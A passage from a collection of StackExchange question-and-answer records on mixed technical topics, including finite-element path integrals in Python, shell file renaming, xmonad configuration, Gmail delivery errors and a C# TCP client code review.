J_{12}^{2}(\\xi,0)} d\\xi $$Using this isoparametrical formulation, we can finally compute the numerical integral thanks to a 4 node quadrature :$$ I = \\sum_{i=1}^{gauss \\ point} w_{i} B(P(\\xi_{i},0),Q(\\xi_{i},0)) \\ \\sqrt{J_{11}^{2}(\\xi_{i},0)+ J_{12}^{2}(\\xi_{i},0)} d\\xi $$This can be done with this really simple code in Python (at least I was thinking):Edit of the code : 20.07.2017 => removed an error (dividing by two without reason)# -*- coding: utf-8 -*-from __future__ import division # avoid integer problem of division#Import zoneimport numpy as npimport math#Define shape functiondef P1shapes(r,s): S = np.array([1-r-s,r,s]) dSdr = np.array([-1,1,0]) dSds = np.array([-1,0,1]) return S,dSdr,dSds#Jacobian functiondef isopmap(x,y,r,s,shapefcn): # x = vector of x coordinate of the element's point #shapefcn = P1shapes S,dSdr,dSds = shapefcn(r,s); j11=np.dot(dSdr,x) j12=np.dot(dSdr,y) j21=np.dot(dSds,x) j22=np.dot(dSds,y) detJ=j11*j22-j12*j21 dSdx=( j22*dSdr-j12*dSds)/detJ dSdy=(-j21*dSdr+j11*dSds)/detJ return S,dSdx,dSdy,detJ,j11,j12,j21,j22#Gauss point quadratureqwgts=np.array([-27/48,25/48,25/48,25/48])rspts=np.array([[1/3,1/3],[0.2,0.2],[0.6,0.2],[0.2,0.6]])def B(x,y): z = 4 *x + y return z#Point of the 3 nodes triangles (test case)x = [-2, 1 ,-1]y = [-1 ,2 ,3]#P1-P2int_total = 0#Begin integral on segmentfor q in range(len(qwgts)): r = rspts[q,0] # r coordinate of the q_th quadrature point s = rspts[q,1] # s coordinate of the q_th quadrature point #Define ds and Map x_physical, y_physical S,dSdx,dSdy,detJ,j11,j12,j21,j22 = isopmap(x,y,r,0,P1shapes) ds = math.sqrt(math.pow(j11,2) + math.pow(j12,2)) x_physical = np.dot(x,S) y_physical = np.dot(y,S) B_gausspoint = B(x_physical,y_physical) wxarea = B_gausspoint*qwgts[q]*ds int_total += wxareaprint int_totalThe result gives:$$ I = -16.97 $$Of course if I change the third point of the triangle, it should change nothing. With this:x = [-2, 1 ,-1]y = [-1 ,2 ,7]We again find for the path $P_{1} - P_{2}$:$$ I = -16.97 $$What we should expectFrom an analytical point of view we have for the parametrisation $x = -2 + 3t$ and $y = -1 + 3t$. This allow to have:$$ds = \\sqrt{ (\\frac{dx}{dt})^{2} + (\\frac{dy}{dt})^{2}} \\ dt = 3\\sqrt{2} \\ dt$$So we have: $$\\int_{P_{1}}^{P_{2}} 4 x + y \\ ds = \\int_{0}^{1} 4(-2+3t) + (-1+3t)) \\ 3\\sqrt{2} \\ dt = -6.36$$Actually, we can see that the numerical method is not working...My questionDid I make a mystake in the main concept? Is it an implementation error?I think it could be an interesting question for all the people that try to implement a path integral on a FEM mesh.I really did'nt find litterature example to check my implementation.Extension of the questionIs there an other way/more elegant way to compute a path integral on the boundary of my FEM model? It seems that I have everything (non linear solver, quadrature integral for assembly of stiffness matrix, shape function, isoparametric formulation), but I'm really stuck at this point. Without this I never would be able to compute for example:$$ R_{ij} = \\int \\kappa(x,y) \\ \\phi_{i} \\ \\phi_{j} \\ dS \\ for \\ i \\ = \\ 1,2 $$EDIT 20.07.17 : Additional testActually, if we take for the integral $B(x,y) = 1$, we are integrating the length of the path :def B(x,y): z = 1 return zIf we run the code, we end up with :$$ I = 4.24$$Which is the correct value since the length of the path:$$\\sqrt{(P_{2}^{x} -P_{1}^{x})^{2} + (P_{2}^{y} -P_{1}^{y})^{2} } = 4.24$$Thank you in advance. Correct code (see explanation on accepted answer)# -*- coding: utf-8 -*-from __future__ import division # avoid integer problem of division#Import zoneimport numpy as npimport math#Define shape functiondef P1shapes(r,s): S = np.array([1-r-s,r,s]) dSdr = np.array([-1,1,0]) dSds = np.array([-1,0,1]) return S,dSdr,dSds#Jacobian functiondef isopmap(x,y,r,s,shapefcn): # x = vector of x coordinate of the element's point #shapefcn = P1shapes S,dSdr,dSds = shapefcn(r,s); j11=np.dot(dSdr,x) j12=np.dot(dSdr,y) j21=np.dot(dSds,x) j22=np.dot(dSds,y) detJ=j11*j22-j12*j21 dSdx=( j22*dSdr-j12*dSds)/detJ dSdy=(-j21*dSdr+j11*dSds)/detJ return S,dSdx,dSdy,detJ,j11,j12,j21,j22#Gauss point quadrature def transfo1D(a,b,ti): #Inverse mapping to find r coordinate from 2D [r,0] space corresponding to 1D space [-1;1] defined by t epsylon_i = ((b-a)/2.0)*ti + ((b+a)/2.0) return epsylon_idef B(x,y): z = 4*math.pow(x,3) return zcoordinate=np.array([-0.774596669,0.000000000,0.774596669])weight=np.array([0.555555556,0.888888889,0.555555556])#Point of the 3 nodes triangles (test case)x = [-2, 1 ,-1]y = [-1 ,2 ,3]#P1-P2int_total = 0#Begin integral on segmentfor q in range(len(coordinate)): ti = coordinate[q] # r coordinate of the q_th quadrature point #Transform this to r space [r,0] a = 0 b = 1 r = transfo1D(a,b,ti) dettransform = (b-a)/2.0 #Define ds = fct(r) = fct(r(t)) S,dSdx,dSdy,detJ,j11,j12,j21,j22 = isopmap(x,y,r,0,P1shapes) ds = math.sqrt(math.pow(j11,2) + math.pow(j12,2)) #Define B(P(r,0),Q(r,0)) = B(P(r(t),0),Q(r(t),0)) x_physical = np.dot(x,S) y_physical = np.dot(y,S) B_gausspoint = B(x_physical,y_physical) wxarea = weight[q] * B_gausspoint* ds * dettransform int_total += wxareaprint int_total" , "title": "Line integral along the edge of an isoparametrically mapped triangle" , "tags": "finite element;boundary conditions;quadrature" , "accepted_answer": "Interestingly enough, you are using quadrature rule for a master triangle in order to integrate over a segment. You should use quadrature rule for a master segment (e.g. $[-1, 1]$) instead. You should also provide proper transformations $\\mathbf r_i : [-1, 1] \\rightarrow \\partial K_i$, $i = 1, 2, 3$ for each edge of a physical triangle.The best way of doing this is via introducing extra mappings $\\mathbf T_i : [-1, 1] \\rightarrow \\partial \\hat K_i$, $i = 1, 2, 3$ for each edge of the master triangle $\\hat K$.If $\\hat K$ is spanned by vertices $\\{(0,0), (1, 0), (0, 1)\\}$, then $$\\mathbf T_1(t) = \\langle \\, .5(1-t), .5(1+t) \\, \\rangle, \\\\\\mathbf T_2(t) = \\langle \\, 0, .5(1-t) \\, \\rangle, \\\\\\mathbf T_3(t) = \\langle \\, .5(1+t), 0 \\, \\rangle.$$ (I assume that the $i$th edge is the edge against the $i$th vertex.) Then you can set $\\mathbf r_i := \\mathbf T \\circ \\mathbf T_i$, where $\\mathbf T : \\hat K \\rightarrow K$ is a usual mapping from the master triangle to the physical one.So your element Robin matrix can be computed as$$\\mathbf R^K_{ij} := \\int_{\\partial K_m} \\kappa \\, s^K_j \\, s^K_i \\, \\text{d}s = \\int_{-1}^{1} \\left( \\kappa \\, s^K_j \\, s^K_i \\right) \\circ \\mathbf r_m \\, || \\mathbf r_m' || \\, \\text{d}t = \\\\\\int_{-1}^{1} \\left( \\kappa \\circ \\mathbf T \\circ \\mathbf T_m \\right) \\, \\left( \\hat s_j \\circ \\mathbf T_m \\right) \\, \\left( \\hat s_i \\circ \\mathbf T_m \\right) \\, || (\\nabla \\mathbf T \\circ \\mathbf T_m) \\, \\mathbf T_m' || \\, \\text{d}t.$$ Note that this choice of transformations $\\mathbf r_i$ allows you to use master shape functions (so you can compute their images of quadrature nodes only once and then use them for every physical edge). Note also that the length element is constant unless you are using curvilinear mapping $\\mathbf T$ (defined e.g. via $P2$ or $P3$ Lagrange shape functions).Finally, note that you have to use quadrature rule for the master segment $[-1, 1]$. " } { "id": "_unix.4325" , "question": "I have a folder that has a number of files all of a similar form as:Dropkick Murphys - 01 - Walk Away.mp3Dropkick Murphys - 02 - Workers Song.mp3And so forth...I want to convert them all so that they appear as:01 - Walk Away.mp302 - Workers Song.mp3How can I do this?" , "title": "truncating file names" , "tags": "command line;bash" , "accepted_answer": "Under Ubuntu or Debian, it is simply:rename 's/Dropkick Murphys - //' *mp3" } { "id": "_webapps.102442" , "question": "I'm working on a demo for a business user to see if Google Forms can provide a quick solution to gathering some data. One of the requirements is a Combobox for one of the fields, where the user can either type into the text field or a dropdown will suggest options. I know there is a drop down option, but is there something more I can do with scripting or custom coding to add this feature?" , "title": "Combobox in Google Forms" , "tags": "google forms" } { "id": "_webapps.42771" , "question": "Four days ago emails sent to our Gmail accounts via our ISP's mail servies started being rejected due to not being RFC 2822 complainant.The following message to was undeliverable. The reason for the problem: 5.3.0 - Other mail system problem 550-'5.7.1 [2001:44b8:8060:ff02:300:1:6:6 11] Our system has detected that\\n5.7.1 this message is not RFC 2822 compliant. To reduce the amount of spam\\n5.7.1 sent to Gmail, this message has been blocked. Please review\\n5.7.1 RFC 2822 specifications for more information. iw4si27447595pac.153 - gsmtp'Its frustrating because these emails have been working fine for over a yearI'm assuming Google has upped their filters in the last week. The email address we are trying to send to belongs to our Google Apps for Business account. I'm wondering, is there a way to override the RFC 2822 compliance filter to allow the emails to come through?So far, adding the ISPs domain name to the spam whitelist in Gmail settings (in the Apps control panel) hasnt worked.The telnet log for the rejected message in question is:220-ipmail06.adl6.xxxxx.net ESMTP 220 ESMTP; eth2958.xxx.adsl.OurISP.net [150.xxx.xxx.xx1] in MTAHELO WINDOWS-xxxxx (<- this is our server name) 250 ipmail06.adl6.OurISP.net MAIL FROM: account@OurISP.net250 sender ok RCPT TO: admin@googleappsdomain.com250 recipient ok RCPT TO: admin@DifferentGoogleAppsDomain.com250 recipient ok DATA 354 go ahead Subject: Test email from the Avid ISIS Notification Application This message was generated by Avid ISIS Notification Application. . QUIT 250 ok: Message 716893804 accepted" , "title": "Emails sent to Gmail domain suddenly not RFC 2822 compliant, Possible to bypass with Google Apps?" , "tags": "gmail;google apps;spam prevention" } { "id": "_webmaster.100031" , "question": "I'm stuck on the last stage(going live) of Firebase hosting. I have a Godaddy domain:As u can see i put down all the CNAME and A records.I'm adding my firebase.json in case it's conneted in some manner.So,what I'm doing wrong?How can I make it work?Notice that the site works..But i believe something is wrong, otherwise firebase would finish the process.tnx" , "title": "Firebase hosting not going live - stuck on Continue setup to direct traffic to your domain" , "tags": "web hosting;dns;godaddy;cname" } { "id": "_codereview.169740" , "question": "I have the following code, and I'd like to refactor it to a more functional way:public void processPersons(List personList) { for (Person person : personList) { Integer addressId = createAddress(person); if (addressId != null) { updateDbStatus(addressId, person); } }}How do I convert the above to a more functional style of programming?" , "title": "Updating persons in database with newly created addresses" , "tags": "java;functional programming" } { "id": "_unix.351615" , "question": "Given a file wrong_name.txt, how can I add it to a zip archives archive.zip with an other name right_name.txt without modifying the file itself." , "title": "How to add a file to a zip with another filename?" , "tags": "rename;zip" , "accepted_answer": "One way to cheat, since zip adds referenced files and not the symlink itself (barring the -y option):ln -s wrong_name.txt right_name.txtzip myzip.zip right_name.txtrm right_name.txt wrong_name.txtunzip myzip.zip--> right_name.txt" } { "id": "_unix.33529" , "question": "I was thinking it would be cool to be able to look things up in the man pages the same way one looks up words with the Dictionary app. Is there a way to add the man pages that OSX supplies into the Dictionary app so when you right click on a word (or in this case, a unix function/keyword/etc.), and click Look Up in Dictionary, it can search for the word in the man pages too and integrate the search results into the Dictionary window? So when the window pops up, the tabs across the top would be All, Dictionary, Thesaurus, Apple, Wikipedia, Man Pages. Or is this too wishful of thinking?" , "title": "Is there a way to integrate the unix man pages into OSX's Dictionary app?" , "tags": "osx" , "accepted_answer": "No. The Dictionary's support for Wikipedia is hard-coded; it's not pluggable. (There is a class internal to Dictionary.app called WikipediaDictionaryObj.)" } { "id": "_unix.255423" , "question": "I want to change shell from ksh to bash and source the .kshrc file. I want to execute following lines of command sequentially:bash. ~/.kshrcclear Can anybody help me? " , "title": "How to change shell from script" , "tags": "bash;scripting;ksh" } { "id": "_unix.279974" , "question": "I have a Ruby 1.8.7 app which runs under Phusion Passenger and Nginx, for one of my clients, on an Ubuntu VPS. It's been ticking away happily for years, but yesterday ran out of log space (sending me an error via monit which i use to monitor it).I cleared out the bloated log file by doing the following:sudo cat /dev/null > log/production.logthen restarted and it was back to normal. This morning, i've got another error, which i've not seen before. I don't know if it's related to the log problem, it might just be a coincidence, but it's odd to get two problems so close together after literally years of nothing at all going wrong. I haven't made any changes to anything.This is the stack trace i see:Passenger encountered the following error:The application spawner server exited unexpectedly: Connection closedException class:PhusionPassenger::Rack::ApplicationSpawner::ErrorBacktrace:# File Line Location0 /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/rack/application_spawner.rb 118 in `spawn_application'1 /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/spawn_manager.rb 257 in `spawn_rack_application'2 /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/abstract_server_collection.rb 82 in `synchronize'3 /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/abstract_server_collection.rb 79 in `synchronize'4 /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/spawn_manager.rb 244 in `spawn_rack_application'5 /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/spawn_manager.rb 137 in `spawn_application'6 /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/spawn_manager.rb 275 in `handle_spawn_application'7 /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/abstract_server.rb 357 in `__send__'8 /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/abstract_server.rb 357 in `server_main_loop'9 /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/lib/phusion_passenger/abstract_server.rb 206 in `start_synchronously'10 /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.2/helper-scripts/passenger-spawn-server 99 I've tried restarting it by doing touch tmp/restart.txtin the project folder, which is the normal restart procedure for the app, and also restarting nginx. I still get the same error.Kind of out of ideas - has anyone seen this error before or have any ideas on how to fix it?" , "title": "Sudden problem with a rack/passenger ruby app: Connection closed" , "tags": "nginx;ruby" } { "id": "_unix.89089" , "question": "In my first question, I asked how to get the Date created field in NTFS-3G. Now, that I know I can get the Date created, I have started adding files onto my NTFS-3G partition and would like to set the Date created of each file to its Date modified value.Since this needs to be done on a whole repository of files, I would like to recursively apply it to a single directory on down. If I know how to do this for a single file, I could probably do the recursion myself, but if you want to add that in I would be more than happy." , "title": "How do I recursively set the date created attribute to the date modified attribute on NTFS-3G?" , "tags": "files;date;file copy;ntfs;ntfs 3g" } { "id": "_webmaster.5474" , "question": "I see that most domain names that contain some nice words like: www.pixelmania.com , www.musicbox.com and so on... are registered but look just auto-populated with some random data. Why they do this ? Is it for me to pay extra to get that domain? Is it for advertising purposes (all of them have insane amounts of ads on them)? Or what ... ?" , "title": "What is the idea behind occupying domains?" , "tags": "domains" , "accepted_answer": "They're probably expired domains that were snapped up by companies that build huge networks of domains with the sole purpose of showing advertising. They make countless millions of dollars a year doing it. " } { "id": "_reverseengineering.11811" , "question": "I am using IDA Pro to disassemble a C++ behemoth with 1600+ classes, many of them having pure virtual methods.Some classes also are made up of multiple base classes, in hierarchies 5+ levels deep.Ida PRO supports making structures of pointers, to handle vtables, but some of the final classes can have multiple different vtables in the same slot, due to heavy polymorphism, so how you organize the vtables? How you tell IDA that in this method, or that method, what vtable is actually being refered to?" , "title": "How to organize vtables in IDA Pro?" , "tags": "ida;c++;hexrays" } { "id": "_webmaster.51011" , "question": "What are SEO risks and what are the best courses of action via Google, when an industry competitor duplicates 95% of your home page content and passes it as their own. Especially when your own website has ranked for years etc and held this unique copy for years. Further to this - what are the implications when another industry competitor replicates both your entire site design template and word for word content across your ENTIRE website? " , "title": "Home Page plagiarism risks from a competitors" , "tags": "seo" } { "id": "_scicomp.21768" , "question": "I was wondering if anyone could help with understanding the geometric conservation law for moving domains. I came across Link1, and have tried to understood the paper by Farhat et al Link2. So far my understanding is that the two things to consider are 1) the time step to which the cell areas using for integration of flux terms correspond to; 2) the time step at which the mesh velocity ( $\\dot{x}$ ) is being evaluated. Finally, the ALE equations must also be satisfied for a uniform flow case. The paper states a GCL law as:$$A_{i}x^{n+1}-A_{i}x^{n}=\\int_{t^{n}}^{t^{n+1}}\\int_{\\partial C_{i}(x)}\\dot{x}\\overrightarrow{n}d\\sigma dt$$where $A$ refers to the area of cells, $C$ refers to the cell areas swept by the fluxes, t is time, x is the spatial coordinate at the current configuration, and I think $\\sigma$ refers to the surface area of integration corresponding $C$. I have a few questions that I would really appreciate some help with:1) what is $C$ in 1D. Is C referring to the length of the cells or the area, which is set to 1 in 1D.2) in the paper (just before equation 16), for a uniform flow, it sets the variables being solved for at different time steps equal to each other. Is that not the definition of steady flow?3) Finally, is there a way to determine whether a set of numerical results in 1D, obey GCL or not, without actually going through the equations. For instance, my understanding is that the results should stay independent of the moving domains, so if I compared the results obtained using $\\dot{x}$ =0 and $\\dot{x} \\neq 0$ and showed that they were not the same?If there are any simpler papers or examples on GCL, please let me know. Thank you in advance." , "title": "a few questions on understanding geometric conservation law" , "tags": "finite element;fluid dynamics;finite volume;discretization" } { "id": "_cs.20249" , "question": "Language:$ L = a^{n+m}b^{n}c^{m} $As per a recent test I gave, this language is not context free.However, I think it is.Corresponding Grammar:$ X \\rightarrow aXY \\space |\\space \\epsilon $$ Y \\rightarrow b \\space | \\space c $Pushdown Automata:Keeping pushing all $a$ to the stack, until a $b$ is scanned. Keeping popping $a$ from stack for each character scanned, until end of input.If, after the end of input the stack is empty accept the string. Else, go to non-accepting state.Please let me know if I'm thinking along the right lines or if I've missed something.." , "title": "Is $a^{n+m}b^{n}c^{m}$ context free?" , "tags": "formal languages;context free;formal grammars" , "accepted_answer": "the corresponding grammar you gave would accept aaaabcbc. A better grammar for this problem would be$X \\rightarrow aXc$$X \\rightarrow aYb$$X \\rightarrow \\lambda$$Y \\rightarrow aYb$$Y \\rightarrow \\lambda$where $\\lambda$ is empty string. " } { "id": "_cs.60114" , "question": "I have several algorithms that map read-only input into write-only output utilizing only logarithmic space with pointer arithmetic. While the algorithms have a very small $O(\\log^c{}n)$ critical path time complexity, fully parallelizing is too impractical with today's computers due to high degree polynomial growth in required resources.What are some general purpose techniques to transform logarithmic space algorithms to low sequential time complexity (preferably linear) by utilizing more space (preferably linear)?" , "title": "Space-time tradeoffs for deterministic logarithmic space algorithms" , "tags": "time complexity;space complexity;program optimization" } { "id": "_hardwarecs.4054" , "question": "I want to build a low power relatively cheep NAS that can hold at least two drives. I want to go the DIY route since I'm blind and would rather do everything from the command-line instead of relying on a third party GUI that may or may not be accessible. What would good hardware be for this? All the single board computers I've found appear to have either one or no SATA ports. I'd prefer a pre-built system that only requires hard drives but can build a computer from scratch if required." , "title": "Low power computer with at least two SATA ports?" , "tags": "linux;nas" } { "id": "_unix.175127" , "question": "I installed xmonbar and try to launch it.xmonbar &I got Stopped. I don't know what's wrong. Here is my .xmobarrcConfig { font = -misc-fixed-*-*-*-*-13-*-*-*-*-*-*-* , borderColor = black , border = TopB , allDesktops = True , overrideRedirect = True , persistent = False , hideOnStart = False , bgColor = black , fgColor = grey , position = TopW L 100 , lowerOnStart = True , commands = [ Run Cpu [-L,15,-H,50,--normal,green,--high,red] 10 , Run Date %a %b %_d %Y %H:%M:%S date 10 , Run StdinReader ] , sepChar = % , alignSep = }{ , template = %StdinReader% }{ %cpu% | %date% }By the way, I'm running xmonad window manager. It works well.Edit:My xmonad.hs file:---- xmonad example config file.---- A template showing all available configuration hooks,-- and how to override the defaults in your own xmonad.hs conf file.---- Normally, you'd only override those defaults you care about.--import XMonadimport System.Exitimport qualified XMonad.StackSet as Wimport qualified Data.Map as Mimport XMonad.Hooks.DynamicLogimport XMonad.Hooks.ManageDocksimport XMonad.Util.EZConfig(additionalKeys)import System.IOimport Graphics.X11.ExtraTypes.XF86-- The preferred terminal program, which is used in a binding below and by-- certain contrib modules.--myTerminal = xterm-- myTerminal = gnome-terminal-- Width of the window border in pixels.--myBorderWidth = 1-- modMask lets you specify which modkey you want to use. The default-- is mod1Mask (left alt). You may also consider using mod3Mask-- (right alt), which does not conflict with emacs keybindings. The-- windows key is usually mod4Mask.---- myModMask = mod1MaskmyModMask = mod4Mask-- The mask for the numlock key. Numlock status is masked from the-- current modifier status, so the keybindings will work with numlock on or-- off. You may need to change this on some systems.---- You can find the numlock modifier by running xmodmap and looking for a-- modifier with Num_Lock bound to it:---- > $ xmodmap | grep Num-- > mod2 Num_Lock (0x4d)---- Set numlockMask = 0 if you don't have a numlock key, or want to treat-- numlock status separately.--myNumlockMask = mod2Mask-- The default number of workspaces (virtual screens) and their names.-- By default we use numeric strings, but any string may be used as a-- workspace name. The number of workspaces is determined by the length-- of this list.---- A tagging example:---- > workspaces = [web, irc, code ] ++ map show [4..9]--myWorkspaces = [1,2,3,4,5,6,7,8,9]-- Border colors for unfocused and focused windows, respectively.--myNormalBorderColor = #ddddddmyFocusedBorderColor = #ff0000-------------------------------------------------------------------------- Key bindings. Add, modify or remove key bindings here.--myKeys conf@(XConfig {XMonad.modMask = modm}) = M.fromList $ -- launch a terminal [ ((modm .|. shiftMask, xK_Return), spawn $ XMonad.terminal conf) -- launch dmenu , ((modm, xK_p ), spawn exe=`dmenu_path | dmenu_run -fn 'DejaVu Sans Mono 12'` && eval \\exec $exe\\) -- launch Chrome browser , ((modm, xK_b), spawn exe=`google-chrome`) -- launch Emacs editor , ((modm, xK_z), spawn exe=`emacs`) -- launch gmrun , ((modm .|. shiftMask, xK_p ), spawn gmrun) -- close focused window , ((modm .|. shiftMask, xK_c ), kill) -- Rotate through the available layout algorithms , ((modm, xK_space ), sendMessage NextLayout) -- Reset the layouts on the current workspace to default , ((modm .|. shiftMask, xK_space ), setLayout $ XMonad.layoutHook conf) -- Resize viewed windows to the correct size , ((modm, xK_n ), refresh) -- Move focus to the next window , ((modm, xK_Tab ), windows W.focusDown) -- Move focus to the next window , ((modm, xK_j ), windows W.focusDown) -- Move focus to the previous window , ((modm, xK_k ), windows W.focusUp ) -- Move focus to the master window , ((modm, xK_m ), windows W.focusMaster ) -- Swap the focused window and the master window , ((modm, xK_Return), windows W.swapMaster) -- Swap the focused window with the next window , ((modm .|. shiftMask, xK_j ), windows W.swapDown ) -- Swap the focused window with the previous window , ((modm .|. shiftMask, xK_k ), windows W.swapUp ) -- Shrink the master area , ((modm, xK_h ), sendMessage Shrink) -- Expand the master area , ((modm, xK_l ), sendMessage Expand) -- Push window back into tiling , ((modm, xK_t ), withFocused $ windows . W.sink) -- Increment the number of windows in the master area , ((modm , xK_comma ), sendMessage (IncMasterN 1)) -- Deincrement the number of windows in the master area , ((modm , xK_period), sendMessage (IncMasterN (-1))) -- toggle the status bar gap (used with avoidStruts from Hooks.ManageDocks) -- , ((modm , xK_b ), sendMessage ToggleStruts) -- Quit xmonad , ((modm .|. shiftMask, xK_q ), io (exitWith ExitSuccess)) -- Restart xmonad , ((modm , xK_q ), restart xmonad True) , ((mod4Mask .|. shiftMask, xK_z), spawn xscreensaver-command -lock), ((0 , 0x1008FF11), spawn amixer set Master 2-), ((0 , 0x1008FF13), spawn amixer set Master 2+), ((0 , 0x1008FF12), spawn amixer set Master toggle)-- ((0, xF86XK_AudioMute ), spawn amixer set Master toggle) ] ++ -- -- mod-[1..9], Switch to workspace N -- mod-shift-[1..9], Move client to workspace N -- [((m .|. modm, k), windows $ f i) | (i, k) <- zip (XMonad.workspaces conf) [xK_1 .. xK_9] , (f, m) <- [(W.greedyView, 0), (W.shift, shiftMask)]] ++ -- -- mod-{w,e,r}, Switch to physical/Xinerama screens 1, 2, or 3 -- mod-shift-{w,e,r}, Move client to screen 1, 2, or 3 -- [((m .|. modm, key), screenWorkspace sc >>= flip whenJust (windows . f)) | (key, sc) <- zip [xK_w, xK_e, xK_r] [0..] , (f, m) <- [(W.view, 0), (W.shift, shiftMask)]]-------------------------------------------------------------------------- Mouse bindings: default actions bound to mouse events--myMouseBindings (XConfig {XMonad.modMask = modMask}) = M.fromList $ -- mod-button1, Set the window to floating mode and move by dragging [ ((modMask, button1), (\\w -> focus w >> mouseMoveWindow w)) -- mod-button2, Raise the window to the top of the stack , ((modMask, button2), (\\w -> focus w >> windows W.swapMaster)) -- mod-button3, Set the window to floating mode and resize by dragging , ((modMask, button3), (\\w -> focus w >> mouseResizeWindow w)) -- you may also bind events to the mouse scroll wheel (button4 and button5) ]-------------------------------------------------------------------------- Layouts:-- You can specify and transform your layouts by modifying these values.-- If you change layout bindings be sure to use 'mod-shift-space' after-- restarting (with 'mod-q') to reset your layout state to the new-- defaults, as xmonad preserves your old layout settings by default.---- The available layouts. Note that each layout is separated by |||,-- which denotes layout choice.--myLayout = avoidStruts (tiled ||| Mirror tiled ||| Full) where -- default tiling algorithm partitions the screen into two panes tiled = Tall nmaster delta ratio -- The default number of windows in the master pane nmaster = 1 -- Default proportion of screen occupied by master pane ratio = 1/2 -- Percent of screen to increment by when resizing panes delta = 3/100-------------------------------------------------------------------------- Window rules:-- Execute arbitrary actions and WindowSet manipulations when managing-- a new window. You can use this to, for example, always float a-- particular program, or have a client always appear on a particular-- workspace.---- To find the property name associated with a program, use-- > xprop | grep WM_CLASS-- and click on the client you're interested in.---- To match on the WM_NAME, you can use 'title' in the same way that-- 'className' and 'resource' are used below.--myManageHook = composeAll [ className =? MPlayer --> doFloat , className =? Gimp --> doFloat , resource =? desktop_window --> doIgnore , resource =? kdesktop --> doIgnore ]-- Whether focus follows the mouse pointer.myFocusFollowsMouse :: BoolmyFocusFollowsMouse = True-------------------------------------------------------------------------- Status bars and logging-- Perform an arbitrary action on each internal state change or X event.-- See the 'DynamicLog' extension for examples.---- To emulate dwm's status bar---- > logHook = dynamicLogDzen--myLogHook = return ()-- myLogHook = dynamicLogDzen-------------------------------------------------------------------------- Startup hook-- Perform an arbitrary action each time xmonad starts or is restarted-- with mod-q. Used by, e.g., XMonad.Layout.PerWorkspace to initialize-- per-workspace layout choices.---- By default, do nothing.-- myStartupHook = return ()myStartupHook = do spawn python2 ~/apps/goagent-goagent-593bfa1/local/proxy.py&-------------------------------------------------------------------------- Now run xmonad with all the defaults we set up.-- Run xmonad with the settings you specify. No need to modify this.--main = xmonad defaults-- A structure containing your configuration settings, overriding-- fields in the default config. Any you don't override, will -- use the defaults defined in xmonad/XMonad/Config.hs-- -- No need to modify this.--defaults = defaultConfig { -- simple stuff terminal = myTerminal, focusFollowsMouse = myFocusFollowsMouse, borderWidth = myBorderWidth, modMask = myModMask,-- numlockMask = myNumlockMask, workspaces = myWorkspaces, normalBorderColor = myNormalBorderColor, focusedBorderColor = myFocusedBorderColor, -- key bindings keys = myKeys, mouseBindings = myMouseBindings, -- hooks, layouts layoutHook = myLayout, manageHook = myManageHook, logHook = myLogHook, startupHook = myStartupHook }" , "title": "xmobar doesn't appear" , "tags": "xmonad" } { "id": "_softwareengineering.315295" , "question": "Is an API always returning 200 OK, an issue?" , "title": "Code structure of third party framework" , "tags": "c#;mvc;rest;api;solid" } { "id": "_codereview.10611" , "question": "I have a method which loads data from a remote app (send TCP request and parse response). Now, I have a simple class for sending a TCP request:public class PremieraTcpClient { public PremieraTcpClient() { QueryItems = new NameValueCollection(); int port; int.TryParse(ConfigurationManager.AppSettings[PremieraPort], out port); Port = port; ServerIp = ConfigurationManager.AppSettings[PremieraServerIp]; ServiceId = ConfigurationManager.AppSettings[PremieraServiceId]; } public NameValueCollection QueryItems { get; set; } private int Port { get; set; } private string ServerIp { get; set; } private string ServiceId { get; set; } private string ReadyQuery { get; set; } public string SendQuery() { StringBuilder parameters = new StringBuilder(); //... // build query for request //... ReadyQuery = parameters.ToString(); return Connect(); } private string Connect() { string responseData; try { TcpClient client = new TcpClient(ServerIp, Port); client.ReceiveBufferSize = Int32.MaxValue; Byte[] data = Encoding.GetEncoding(1251).GetBytes(ReadyQuery); NetworkStream stream = client.GetStream(); // send data stream.Write(data, 0, data.Length); var sizeBuffer = new byte[10]; stream.Read(sizeBuffer, 0, 10); var sizeMessage = int.Parse(Encoding.GetEncoding(1251).GetString(sizeBuffer, 0, 10)); data = new Byte[sizeMessage]; var readSoFar = 0; //read data while (readSoFar < sizeMessage) { readSoFar += stream.Read(data, readSoFar, data.Length - readSoFar); } responseData = Encoding.GetEncoding(1251).GetString(data, 0, data.Length); responseData = responseData.TrimStart('&'); stream.Close(); client.Close(); return responseData; } catch (ArgumentNullException e) { //return responseData = string.Format(ArgumentNullException: {0}, e); } catch (SocketException e) { //return responseData = string.Format(SocketException: {0}, e); } return string.Empty; } }This is method for load data: private static void GetUpdatesFromPremiera() { Debug.WriteLine(DateTime.Now + :GetUpdatesFromPremiera); PremieraTcpClient client = new PremieraTcpClient(); client.QueryItems.Add(QueryCode, QueryCode.GetUpdates.ToString()); client.QueryItems.Add(ListType, Movie;Hall;Session;Place;Delete); client.QueryItems.Add(Updates, _lastUpdateId); _lastUpdateId = String.Empty; var response = client.SendQuery(); // here parse response //... }This code works fine. But, now I have to load data from two remote app (tomorrow may be three).The simple solution is to iterate through all remote apps:private static void GetUpdatesFromPremiera(){ foreach(var remoteApp in listRemoteApp) { PremieraTcpClient client = new PremieraTcpClient(); // here assigned different properties var response = client.SendQuery(); }}Is there is a better way of doing it? Also, each time a connection is established, I think it impacts performance greatly." , "title": "Loading data from a remote app" , "tags": "c#;asp.net mvc 3;tcp" , "accepted_answer": "I have some suggestions about PremieraTcpClient. The way it is written may lead to unreleased resources. If you have an error then you will remain with a stream and client opened.The correct way to do it is by using try...catch...finally or by using using.Below you can find the code using try catch finally private string Connect() { string responseData = string.Empty; TcpClient client = null; NetworkStream stream = null; try { client = new TcpClient(ServerIp, Port); client.ReceiveBufferSize = Int32.MaxValue; Byte[] data = 